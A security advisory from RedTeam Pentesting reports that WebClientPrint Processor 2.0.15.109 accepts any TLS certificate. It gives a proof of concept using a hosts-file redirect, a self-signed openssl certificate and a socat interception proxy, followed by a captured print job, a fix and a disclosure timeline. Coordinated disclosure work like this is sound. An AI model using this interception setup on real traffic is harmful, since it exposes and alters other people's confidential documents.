Advisory: WebClientPrint Processor 2.0: No Validation of TLS Certificates RedTeam Pentesting discovered that WebClientPrint Processor (WCPP) does not validate TLS certificates when initiating HTTPS connections. Thus, a man-in-the-middle attacker may intercept and/or modify HTTPS traffic in transit. This may result in a disclosure of sensitive information and the integrity of printed documents cannot be guaranteed. Details ======= Product: Neodynamic WebClientPrint Processor Affected Versions: 2.0.15.109 (Microsoft Windows) Fixed Versions: >= 2.0.15.910 Vulnerability Type: Improper Certificate Validation Security Risk: medium Vendor URL: http://www.neodynamic.com/ Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-011 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ Neodynamic's WebClientPrint Processor is a client-side application, which allows server-side applications to print documents on a client's printer without user interaction, bypassing the browser's print functionality. The server-side application may be written in ASP.NET or PHP while on the client-side multiple platforms and browsers are supported. "Send raw data, text and native commands to client printers without showing or displaying any print dialog box!" (Neodynamic's website) More Details ============ Upon installation under Microsoft Windows, WCPP registers itself as a handler for the "webclientprint" URL scheme. Thus, any URL starting with "webclientprint:" is handled by WCPP. For example, entering webclientprint:-about in the URL bar of a browser opens the about box of WCPP. Neodynamic prodvides an online demo for test printing at the following URL: http://webclientprint.azurewebsites.net/ If visited via HTTPS, the WCPP component on the client-side will try to fetch the print job via HTTPS as well. Proof of Concept ================ To simulate a man-in-the-middle scenario, an entry similar to the following was appended to the "hosts" file: ------------------------------------------------------------------------ 10.0.2.2 webclientprint.azurewebsites.net ------------------------------------------------------------------------ On the host 10.0.2.2, a self-signed certificate can be generated and afterwards socat[1] can be used to intercept and display the encrypted HTTP traffic as follows: ------------------------------------------------------------------------ $ openssl genrsa -out server.key 4096 $ openssl dhparam -out dhparam.pem 1024 $ openssl req -new -x509 -key server.key -out server.pem -days 365 \ -subj /CN=webclientprint.azurewebsites.net $ cat server.key >> server.pem $ cat dhparam.pem >> server.pem $ sudo socat -v openssl-listen:443,reuseaddr,verify=0,fork,\ cert=server.pem openssl-connect:webclientprint.azurewebsites.net:443,\ verify=0 ------------------------------------------------------------------------ The demo website is available via HTTPS using the following URL: https://webclientprint.azurewebsites.net/ Any modern browser displays a warning due to the invalid TLS certificate presented by socat. On the contrary, WCPP simply accepts any certificate it is presented with, when, for examplem printing a demo TXT file. Such a request is given in the listing below. The output has been shortened and wrapped manually for better readability. ------------------------------------------------------------------------ GET /DemoPrintFile.ashx?clientPrint&useDefaultPrinter=undefined& printerName=null&filetype=TXT HTTP/1.0\r Host: webclientprint.azurewebsites.net\r User-Agent: WCPP/2.0.15.109(Windows; 6.1)\r Accept-Encoding: gzip, deflate\r \r < 2015/09/07 10:29:27.478913 length=3538 from=0 to=3537 HTTP/1.1 200 OK\r Cache-Control: private\r Content-Length: 3180\r Content-Type: application/octet-stream\r Server: Microsoft-IIS/8.0\r X-AspNet-Version: 4.0.30319\r X-Powered-By: ASP.NET\r Set-Cookie: ARRAffinity=23c01e1a9de38f884445e396de9940aef5941b9af3f6d9 cfa57066fe4d5fcb16;Path=/;Domain=webclientprint.azurewebsites.net\r Date: Mon, 07 Sep 2015 08:29:27 GMT\r Connection: close\r \r cpj..\v...\v..wcpPF:9c8d5316ffeb403d8be09565c2391f92.TXT|Printed By WebClientPrint\r =========================\r \r Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce urna massa, eleifend non posuere quis, iaculis et libero. Curabitur lacinia dolor non nisl pharetra tempus. [...] Etiam nisl nisi, eleifend vel molestie tincidunt, porttitor ac nunc. Vestibulum vulputate magna gravida neque imperdiet ac viverra nulla suscipit..Acopian Technical Company - 1 WebApp Lic - 2 WebServer Lic|xxxxxxxxxxxxxxxxxxxxx ------------------------------------------------------------------------ This shows that WCPP does not verify TLS certificates when establishing HTTPS connections. Workaround ========== Affected users should disable the WCPP handler and upgrade to a fixed version as soon as possible. Fix === Install a WCPP version greater or equal to 2.0.15.910[0]. Security Risk ============= WCPP does not verify TLS certificates when establishing HTTPS connections. Man-in-the-middle attackers can therefore intercept those connections with little effort. This may lead to a disclosure of confidential information if sensitive documents are printed via WCPP. Furthermore, the integrity of the printed documents cannot be guaranteed as attackers are able to modify the documents in transit. The described attack requires a man-in-the-middle position which is a rather strong prerequisite. It is therefore estimated that the vulnerability poses a medium risk. Timeline ======== 2015-08-24 Vulnerability identified 2015-09-03 Customer approved disclosure to vendor 2015-09-04 Asked vendor for security contact 2015-09-04 CVE number requested 2015-09-04 Vendor responded with security contact 2015-09-07 Vendor notified 2015-09-07 Vendor acknowledged receipt of advisory 2015-09-15 Vendor released fixed version 2015-09-16 Customer asked to wait with advisory release until all their clients are updated 2017-07-31 Customer approved advisory release 2017-08-22 Advisory released References ========== [0] https://neodynamic.wordpress.com/2015/09/15/webclientprint-2-0-for-windows-clients-critical-update/ [1] http://www.dest-unreach.org/socat/ RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschaftsfuhrer: Patrick Hof, Jens Liebchen